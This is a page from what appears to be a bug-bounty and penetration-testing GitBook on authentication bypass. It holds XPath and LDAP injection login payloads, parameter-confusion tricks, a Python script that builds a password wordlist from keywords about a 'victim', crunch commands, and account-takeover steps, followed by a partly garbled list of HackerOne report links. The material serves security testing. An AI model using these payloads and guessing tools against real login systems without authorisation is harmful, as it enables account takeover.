Sec-88
  • 🧑Whoami
  • 🕸️Web-AppSec
    • Features Abuse
      • 2FA
      • Ban Feature
      • CAPTCHA
      • Commenting
      • Contact us
      • File-Upload
      • Inviting Feature
      • Messaging Features
      • Money-Related Features
      • Newsletter
      • Profile - Settings
      • Registration
      • Reset Password
      • Review
      • Rich Editor/Text
      • Social Sharing
      • Billing-Shipping Address Management
      • Integrations - Webhooks
      • API Key Management
    • Reconnaissance
      • Attacking Organizations with big scopes
    • Subdomain Enumeration
    • Fingerprinting
    • Dorking
    • XSS-HTML Injection
    • Improper Authentication
      • JWT Security
    • OAUTH Misconfigurations
      • OAuth 2.0 Basics
      • OAUTH Misconfigurations
    • Auth0 Misconfigurations
    • Broken Access Control
      • Insecure Direct Object References (IDOR)
      • 403 Bypass
    • Broken Link Injection
    • Command Injection
    • CORS
    • CRLF
    • CSRF
    • Host Header Attacks
    • HTTP request smuggling
    • JSON Request Testing
    • LFI
      • LFI to RCE
    • No Rate Limit
    • Parameters Manual Testing
    • Open Redirect
    • Registration & Takeover Bugs
    • Remote Code Execution (RCE)
    • Session Fixation
    • SQL Injection
      • SQL To RCE
    • SSRF
    • SSTI
    • Subdomain Takeover
    • Web Caching Vulnerabilities
    • WebSockets
    • XXE
      • XXE to RCE
    • Cookie Based Attacks
    • CMS
      • AEM [Adobe CMS]
    • XSSI (Cross Site Script Inclusion)
    • NoSQL injection
    • Local VS Remote Session Fixation
    • Protection
      • Security Mechanisms for Websites
      • Cookie Flags
      • SameSite Cookie Restrictions
      • Same-origin policy (SOP)
      • CSP
    • Hacking IIS Applications
    • Dependency Confusion
    • Attacking Secondary Context
    • Hacking Web Sockets
    • IDN Homograph Attack
    • DNS Rebinding Attack
    • LLM Hacking Checklist
    • Bypass URL Filtration
    • Cross-Site Path Traversal (CSPT)
    • PostMessage Security
    • Prototype Pollution
      • Client-Side Prototype Pollution
      • Server-Side prototype pollution
    • Tools-Extensions-Bookmarks
    • WAF Bypassing Techniques
    • SSL/TLS Certificate Lifecycle
    • Serialization in .NET
    • Client-Side Attacks
      • JavaScript Analysis
    • Bug Bounty Platforms/Programs
  • ✉️API-Sec
    • GraphQL API Security Testing
      • The Basics
      • GraphQL Communication
      • Setting Up a Vulnerable GraphQL Server
      • GraphQL Hacking Tools
      • GraphQL Attack Surface
      • RECONNAISSANCE
      • GraphQL DOS
      • Information Disclosure
      • AUTHENTICATION AND AUTHORIZATION BYPASSES
      • Injection Vulnerabilities in GraphQL
      • REQUEST FORGERY AND HIJACKING
      • VULNERABILITIES, REPORTS AND EXPLOITS
      • GraphQL Hacking Checklist
    • API Recon
    • API Token Attacks
    • Broken Object Level Authorization (BOLA)
    • Broken Authentication
    • Evasive Maneuvers
    • Improper Assets Management
    • Mass Assignment Attacks
    • SSRF
    • Injection Vulnerabilities
    • Excessive Data Exposure
    • OWASP API TOP 10 MindMap
    • Scanning APIs with OWASP ZAP
  • 📱Android-AppSec
    • Setup Android App Pentesting environment on Arch
    • Setup Android App Pentesting environment on Mac M4
    • Setup Android Pentesting Environment on Debian Linux
    • Android App Fundamentals
      • Android Architecture
      • Android Security Model
      • Android App Components
        • Intents
        • Pending Intents
    • Android App Components Security Cheatsheet
    • Android App Pentesting Checklist
    • How To Get APK file for application
    • ADB Commands
    • APK structure
    • Android Permissions
    • Exported Activity Hacking
    • BroadcastReceiver Hacking
    • Content Provider Hacking
    • Signing the APK
    • Reverse Engineering APK
    • Deep Links Hacking
    • Drozer Cheat Sheet
    • SMALI
      • SMALI Cheat Sheet
      • Smali Code Patching Guide
    • Intent Redirection Vulnerability
    • Janus Vulnerability (CVE-2017-13156)
    • Task Hijacking
    • Hacking Labs
      • Injured Android
      • Hacking the VulnWebView Lab
      • Hacking InsecureBankv2 App
    • Frida Cheat Sheet
  • 📶Network-Sec
    • Networking Fundamentals
    • Open Ports Security Testing
    • Vulnerability Scanning
    • Client Side Attacks
    • Port Redirection and Tunneling
    • Password Attacks
    • Privilege Escalation [PrevEsc]
      • Linux Privilege Escalation
    • Buffer Overflow (BOF)
      • VulnServer
      • Sync Breez Enterprize
      • Crashed CTF
      • BOF for Linux
    • AV Evasion
    • Post Exploitation
      • File Transfer
      • Maintaining Access
      • Pivoting
      • Clean Up
    • Active Directory
      • Basic AD Pentesting
  • 💻Desktop AppSec
    • Thin Client vs. Thick Client
  • ☁️Cloud Sec
    • Salesforce Hacking
      • Basics
      • Salesforce SAAS Apps Hacking
    • Firebase
    • S3 Buckets Misconfigurations
  • 👨‍💻Programming
    • HTML
    • JavaScript (JS)
      • window.location object
    • Python
      • Python Tips
      • Set
        • SetMethods
    • JAVA
      • Java Essentials
      • Java Essentials Code Notes
      • Java OOP1
      • JAVA OOP Principles
        • Inheritance
        • Method Overriding
        • Abstract Class
        • Interface
        • polymorphism
        • Encapsulation
        • Composition
      • Java OOP Challenges
      • Exception Handling
    • Go
      • Go Syntax Tutorial in one file
      • Methods and Interfaces
      • Go Slices
      • Go Maps
      • Go Functions
      • Concurrency
      • Read Files
      • Write Files
      • Package
        • How to make personal Package
        • regexp Packages
        • Json
        • bufio
        • Time
      • Signals-Exit
      • Unit Testing
  • 🖥️Operating Systems
    • Linux
      • Linux Commands
      • Tools
      • Linux File System
      • Bash Scripting guide
      • tmux
      • Git
      • Install Go tools from private repositories using GitHub PAT
    • VPS
    • Burp Suite
  • ✍️Write-Ups
    • Hunting Methodology
    • API BAC leads to PII Data Disclosure
    • Misconfigured OATUH leads to Pre-Account Takeover
    • Automating Bug Bounty with GitHub Actions
    • From Recon to Reward: My Bug Bounty Methodology when Hunting on Public Bug Bounty Programs
    • Exploring Subdomains: From Enumeration to Takeover Victory
    • 0-Click Account Takeover via Insecure Password Reset Feature
    • How a Simple Click Can Lead to Account Takeover: An OAuth Insecure Implementation Vulnerability
    • The Power Of IDOR even if it is unpredictable IDs
    • Unlocking the Weak Spot: Exploiting Insecure Password Reset Tokens
    • AI Under Siege: Discovering and Exploiting Vulnerabilities
    • Inside the Classroom: How We Hacked Our Way Past Authorization on a Leading EdTech Platform
    • How We Secured Our Client’s Platform Against Interaction-Free Account Thefts
    • Unchecked Privileges: The Hidden Risk of Role Escalation in Collaborative Platforms
    • Decoding Server Behavior: The Key to Mass Account Takeover
    • Exploiting JSON-Based CSRF: The Hidden Threat in Profile Management
    • How We Turned a Medium XSS into a High Bounty by Bypassing HttpOnly Cookie
Powered by GitBook
On this page
  • HackerOne Reports :
  • write-ups

Was this helpful?

Edit on GitHub
  1. Web-AppSec

Improper Authentication

PreviousXSS-HTML InjectionNextJWT Security

Last updated 11 months ago

Was this helpful?

Easy Ways

  • Check for comments inside the page (scroll down and to the right?)

  • Emails tricks

yourname@wearehackerone.com
yourname@bugcrowd.com
lol@company.com@burbcollaboratorpayload.com
  • Check if you can directly access the restricted pages

  • Check to not send the parameters (do not send any or only 1)

  • Check the PHP comparisons error: user[]=a&pwd=b , user=a&pwd[]=b , user[]=a&pwd[]=b

  • Change content type to json and send json values (bool true included)

    • If you get a response saying that POST is not supported you can try to send the JSON in the body but with a GET request with Content-Type: application/json

  • Check nodejs potential parsing error (read ): password[password]=1

    • Nodejs will transform that payload to a query similar to the following one:

      SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` ``**password=password=1**;
      • which makes the password bit to be always true.

    • If you can send a JSON object you can send "password":{"password": 1} to bypass the login.

    • Remember that to bypass this login you still need to know and send a valid username.

    • Adding "stringifyObjects":true option when calling mysql.createConnection will eventually block all unexpected behaviours when Object is passed in the parameter.

Default Credentials

Common Combinations

(root, admin, password, name of the tech, default user with one of these passwords).

Dictionarry attack using python script

  • Dictionary_Attack_Script.py

    import numpy as np
    from itertools import permutations, product, chain
    import math
    import time
    
    def casing_count(word):
        """
        Counts the number of possible casings for a given word.
        """
        if word.isdigit():
            # If the word is a digit, it can only be represented in one casing.
            count = 1
        else:
            # Otherwise, the number of possible casings is 2 to the power of the word length.
            count = pow(2, len(word))
        return count
    
    def all_casings(input_string):
        """
        Generates all possible casings for a given string.
        """
        if not input_string:
            yield ""
        else:
            first = input_string[:1]
            if first.lower() == first.upper():
                # If the character is not a letter, keep it as is.
                for sub_casing in all_casings(input_string[1:]):
                    yield first + sub_casing
            else:
                # If the character is a letter, generate two casings: one lowercase and one uppercase.
                for sub_casing in all_casings(input_string[1:]):
                    yield first.lower() + sub_casing
                    yield first.upper() + sub_casing
    
    def perm_count(string_list):
        """
        Counts the total number of permutations for a given list of strings.
        """
        casing_counts = [casing_count(word) for word in string_list]
        total_permutations = np.product(casing_counts) * math.factorial(len(string_list))
        return total_permutations
    
    print("""
    
      _    __  _        _   ___  ___     
     | |_ /  \\| |_ __ _| |_( _ )( _ )_ _ 
     | ' \\ () |  _/ _` | / / _ \\/ _ \\ '_|
     |_||_\\__/ \\__\\__,_|_\\_\\___/\\___/_|  
                                         
    """)
    time.sleep(3)
    print("\\033[1;32m[+] OK,First let's start with keywords about the victim 👀 \\033[0m")
    # Ask the user for a list of phrases separated by commas.
    phrases = input("\\033[1;32m[+] Enter keywords separated by commas:\\033[0m \\n").split(',')
    phrases = [x.strip() for x in phrases]
    
    print("\\033[1;32m🚀 CALCULATING COMBINATIONS....\\033[0m")
    time.sleep(3)
    
    # Print the number of permutations for each combination of phrases.
    for i in range(1, len(phrases) + 1):
        phrases_subset = phrases[:i]
        word_counts = [casing_count(word) for word in phrases_subset]
        dictionary = dict(zip(phrases_subset, word_counts))
        total_permutations = perm_count(phrases_subset)
        print(f"{dictionary} = {total_permutations} permutations")
    
    # Generate all possible casings for each word in the list.
    all_casings_list = [set(all_casings(word)) for word in phrases]
    
    # Generate all possible permutations of the list of phrases with all possible casings.
    permutations_set = set()
    for i in range(1, len(phrases)+1):
        for element in product(*all_casings_list[:i]):
            for permutation in permutations(element):
                permutations_set.add(chain(permutation))
    
    # Convert the set of permutations to a list.
    permutations_list = [list(gen) for gen in permutations_set]
    
    print("\\033[1;32m✅ Saving our work in [passwords.txt] WORDLIST..... \\033[0m")
    time.sleep(5)
    # Write the list of permutations to a file.
    count = 0
    with open('passwords.txt', 'w') as file:
        for password in permutations_list:
            file.write("".join(password) + "\\n")
            count += 1
    # print number of passwords generated
    print("\\033[1;32m[+] Number of possible passwords:\\033[0m", count)
    print("\\033[1;32m                                     🙌 THAT'S IT !,YOU'RE DONE                \\033[0m")

Or using tools like Crunc

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

SQL Login Bypass

NoSQL authentication Bypass

XPath Injection authentication bypass

' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2

LDAP Injection authentication bypass

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

Improper Microsoft SSO Configuration

  1. The application returned an unusually large content-length (over 40,000 bytes!) on the redirection response.

  2. The application was leaking its internal responses to every request while sending the user to the redirection to the SSO

  3. So, it was possible to tamper the responses and change the 302 Found header to 200 OK and delete the entire *Location* header, giving access to the whole application

Changing Authentication Type to Null

- A quick analysis showed it used an md5 value of the supplied password value. 
- There was another interesting sign in the request: scode had an attribute as type valued with 2.
- I tried assigning the value to 1, which would accept the cleartext password. It worked! 
- So, brute force within cleartext values was possible. Not a big deal, but it was a sign I was on the right path. 
- What about assigning it to the null values? Or other values such as -1, 0 or 9999999999? Most of them returned an error code except value 0. 
- I tried several things with the attribute *0* but had no luck until I sent the password value as an empty value.
- I realized it was possible to access any account by simply supplying the usernames and empty passwords. 
It turned out to be quite a big bug

PrevEsc Via Response manipulation

# PrevEsc
1. Go to login Panel
2. Login With your Credentials
3. study the login process from Burp-suite logs
4. Understand how the server handles roles like user and admin 
5. try req/response manipulation to Prev-Esc for example manipulate parameters like [ role, ID, status code, false, true]
6. Play With the match and replace feature in Burp-suite
lol@sso.com → lol@gmail.com 

Authentication Bypass via Subdomain Takeover

Attack Scenario

  1. The attacker uses the session cookies to authenticate as victim user.

Refresh Token Endpoint Misconfiguration Leads to ATO

  • vuln Explain

    In this case, once a user logged into the application with valid credentials, it created a Bearer Authentication token used elsewhere in the application.

    This auth token expired after some time. Just before expiration, the application sent a request to the back-end server within the endpoint /*refresh/tokenlogin* containing the valid auth token in the headers and username parameter on the HTTP body section.

    Further testing revealed that deleting Authorization header on the request and changing the username parameter on the HTTP body created a new valid token for the supplied username. Using this exploit, an attacker with an anonymous profile could generate an authentication token for any user by just supplying their username.

Steps

  1. Find Refresh Token Endpoint

  2. Remove Bearer Header

  3. change username

  4. Get the token for any user in response

Remember Me Feature

Other Checks

Check if you can enumerate usernames abusing the login functionality.
Check if auto-complete is active in the password/sensitive information forms input: <input autocomplete="false"
-Missing Secure or HTTPOnly Cookie Flag for Session Token

CMS-Based Access Problems

  • Attack Explain

    One popular CMS platform, Liferay, was used in an internal application in one case I examined. The application only had a single login page accessible without authentication, and all other pages were restricted on the application UI.

    For those not familiar with Liferay, the CMS uses portlets for application workflow, which have a parameter as p_p_id within numeric numbers. For that application, it was possible to access the login portlet by changing the parameter to value 58. On the normal login page, only the login form was accessible. However, by accessing the portlet directly, it was possible to reach the Create Account functionality, which then allowed self-registration to access internal applications without proper authorization.

    Please note that while Liferay used this workflow before, its latest version uses portlet names instead of numeric ids. Still, it is possible to access other portlets by changing names as well.

Play with numerical parameters like p_p_id change it to 58 or parameters that use username play with them

Weak Password Policy

Check If there is Features that should have password policy and it doesnt have one Like:
password Change 
Password Reset
or Wherever  You enter a Passw
- Allows users to create simple passwords
- Allows brute force attempts against user accounts
- Allows users to change their password without asking for password confirmation
- Allows users to change their account email without asking for password confirmation
- Discloses token or password in the URL
- GraphQL queries allow for many authentication attempts in a single request
- Lacking authentication for sensitive requests

Admin Panel

  • **[Admin Approval Bypass](https://hackerone.com/reports/1861487

HackerOne Reports :

write-ups

**

**

**

**

**

**

**

**

**

**

**

**

Authentication Bypass on via Subdomain Takeover of

A subdomain () is pointing to the CDN hostname (.) but has not been claimed yet.

The Single-Sign-On (SSO) functionality sets the cookie domain attribute as "[](%)".

The attacker claims the CDN hostname . and hosts own application.

A logged in user (*.ubnt.com) visits the subdomain (unknowingly or lured by attacker) and the session cookies are transferred to and logged by . (owned by attacker).

to Twitter - 1157 upvotes, $20160

to Snapchat - 891 upvotes, $25000

to Roblox - 718 upvotes, $2500

to - 340 upvotes, $4000

to Shopify - 287 upvotes, $20000

to Twitter - 260 upvotes, $700

to LINE - 223 upvotes, $12500

to Starbucks - 221 upvotes, $4000

to Razer - 196 upvotes, $1000

to Uber - 165 upvotes, $5000

to HackerOne - 151 upvotes, $1500

to Localize - 144 upvotes, $500

to - 143 upvotes, $8000

to Twitter - 122 upvotes, $2520

to Snapchat - 102 upvotes, $5000

to Starbucks - 92 upvotes, $0

to Picsart - 91 upvotes, $0

to Uber - 82 upvotes, $8500

to Zenly - 82 upvotes, $1750

🕸️
this
https://github.com/ihebski/DefaultCreds-cheat-sheet**
http://www.phenoelit.org/dpl/dpl.html**
http://www.vulnerabilityassessment.co.uk/passwordsC.htm**
https://192-168-1-1ip.mobi/default-router-passwords-list/**
https://datarecovery.com/rd/default-passwords/**
https://bizuns.com/default-passwords-list**
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**
https://github.com/Dormidera/WordList-Compendium**
https://www.cirt.net/passwords**
http://www.passwordsdatabase.com/**
https://many-passwords.github.io/**
https://theinfocentric.com/**
https://book.hacktricks.xyz/pentesting-web/login-bypass/sql-login-bypass
https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass
sso.ubnt.com
ping.ubnt.com
ping.ubnt.com
d2cnv2pop2xy4v.cloudfront.net
domain=.ubnt.com
http://domain
3D.ubnt.com/
d2cnv2pop2xy4v.cloudfront.net
ping.ubnt.com
d2cnv2pop2xy4v.cloudfront.net
Exploiting Remember Me Cookie For Account Takeover
Abuse of "Remember Me" functionality
Weakness in the remember me feature
Improper session handling
OTGv4
Az0x7/vulnerability-Checklist
default credentials
Potential pre-auth RCE on Twitter VPN
Improper Authentication - any user can login as other user with otp/logout & otp/login
Subdomain Takeover to Authentication bypass
[ RCE ] Through stopping the redirect in /admin/* the attacker able to bypass Authentication And Upload Malicious File
Mail.ru
Shopify admin authentication bypass using partners.shopify.com
Bypass Password Authentication for updating email and phone number - Security Vulnerability
Spring Actuator endpoints publicly available and broken authentication
Misuse of an authentication cookie combined with a path traversal on app.starbucks.com permitted access to restricted data
Through blocking the redirect in /* the attacker able to bypass Authentication To see Sensitive Data sush as Game Keys , Emails ,..
Authentication bypass on auth.uber.com via subdomain takeover of saostatic.uber.com
Web Authentication Endpoint Credentials Brute-Force Vulnerability
2-factor authentication can be disabled when logged in without confirming account password
[c-api.city-mobil.ru] Client authentication bypass leads to information disclosure
Mail.ru
Incorrect param parsing in Digits web authentication
RCE/LFI on test Jenkins instance due to improper authentication flow
Thailand - a small number of SMB CCTV footage backup servers were accessible without authentication.
User account compromised authentication bypass via oauth token impersonation
SAML Authentication Bypass on uchat.uberinternal.com
Account Takeover via SMS Authentication Flow
Touch ID authentication Bypass on evernote and dropbox iOS apps
Oauth authentication bypass on airbnb acquistion using wierd 1 char open redirect
Two factor authentication bypass
Instagram multi factor authentication bypass
Authentication bypass in nodejs application
Symantec authentication Bypass
Authentication bypass in CISCO meraki
Slack SAML authentocation bypass
Authentication bypass on UBER's SSO
Authentication Bypass on airbnb via oauth tokens theft
Inspect element leads to stripe account lockout authentication Bypass
Authentication bypass on SSO ubnt.com